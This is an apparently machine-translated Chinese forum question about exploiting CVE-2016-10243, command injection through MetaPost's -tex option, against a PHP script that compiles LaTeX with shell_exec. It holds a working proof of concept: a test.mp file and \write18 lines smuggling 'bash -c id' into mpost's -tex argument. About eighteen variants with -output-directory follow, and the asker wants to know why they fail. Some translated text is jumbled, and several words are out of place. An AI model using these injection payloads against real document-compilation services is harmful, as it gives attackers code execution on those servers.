我正在尝试利用CVE-2016-10243漏洞(我启用mpost
了texmf配置文件,因此它也适用于较新版本的 Tex Live):
- https://www.cvedetails.com/cve/CVE-2016-10243/
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
活动视频:
测试文件
verbatimtex
\documentclass{minimal}
\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig;
\end{document}
bye
测试.tex
\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn" "test.mp"}
\end{document}
我正在使用将 Latex 文档编译为 PDF 的 PHP 脚本。当我将 PHP 脚本放在 Latex 和 MetaPost 文档所在的同一目录中时,它就可以正常工作。
测试.php
<?php
shell_exec("pdflatex test.tex");
shell_exec("bibtex test.aux");
shell_exec("pdflatex test.tex");
shell_exec("pdflatex test.tex");
但是,当使用pdflatex
选项--output-directory
(和bibtex
绝对路径:)/absolute/path/test.aux
并pdflatex
从另一个目录调用时,它不起作用。
该漏洞的作者状态:
pdflatex
一些技巧可以提高“漏洞”的可靠性。事实上,如果不是从 的目录启动,x.mp
这个PoC 就不起作用[test.mp]
(但.mp
可以指定默认文件)。即使出现错误,-interaction=nonstopmode
的选项也允许编译文档的其余部分。mpost
这里我发现 MetaPost 有一个额外的参数-output-directory
,该参数未在man mpost
和mpost --help
(Tex Live 2019)中记录:
在我的计算机上,命令行:mpost -output-directory=./temp 正在工作(temp 是主目录的子目录)
但是 MetaPost手动的说(第 99 页):
以下命令行开关将被忽略,但会触发警告:
-不解析第一行
-output-directory=⟨字符串⟩
-translate-file=⟨字符串⟩
但这里(mpost(1) - Linux 手册页) 上面说这个参数可用。这很令人困惑 (!)。
到目前为止我已经尝试过:
测试.php(另--shell-escape
可选)
$tempDir = "/absolute/path";
<?php
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
shell_exec("bibtex ".$tempDir."/test.aux");
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
shell_exec("pdflatex --output-directory=".$tempDir." test.tex");
测试.tex
\documentclass{article}
\begin{document}
% -output-directory with "-"
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn1" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn2" "/absolute/path/test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn3" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn4" "/absolute/path/test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn5" "test.mp"}
\immediate\write18{mpost -output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn6" "/absolute/path/test.mp"}
% --output-directory with "--"
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn7" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>pwn8" "/absolute/path/test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn9" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/absolute/path/pwn10" "/absolute/path/test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn11" "test.mp"}
\immediate\write18{mpost --output-directory="/absolute/path/" -ini "-tex=bash -c id>/tmp/pwn12" "/absolute/path/test.mp"}
% without "output-directory"
\immediate\write18{mpost -ini "-tex=bash -c id>pwn13" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>pwn14" "/absolute/path/test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/absolute/path/pwn15" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/absolute/path/pwn16" "/absolute/path/test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn17" "test.mp"}
\immediate\write18{mpost -ini "-tex=bash -c id>/tmp/pwn18" "/absolute/path/test.mp"}
\end{document}
用户权限应该没问题(因为从同一目录运行它可以工作,但从其他目录运行则不行)。我还尝试使用in 来检查可能的 tex 权限问题(从我的 latex 文档内部执行命令)。我检查了两个--shell-escape
目录:linux 默认目录和另一个 PHP 目录()。它为我生成了一个有效的 PDF 文件和一个 metapost 文档,但我没有看到任何文件。shell_exec
tmp
/tmp/
/tmp/system-private-...-apache2-service-.../tmp/
pwn
问题:这是一个不起作用的额外安全功能吗?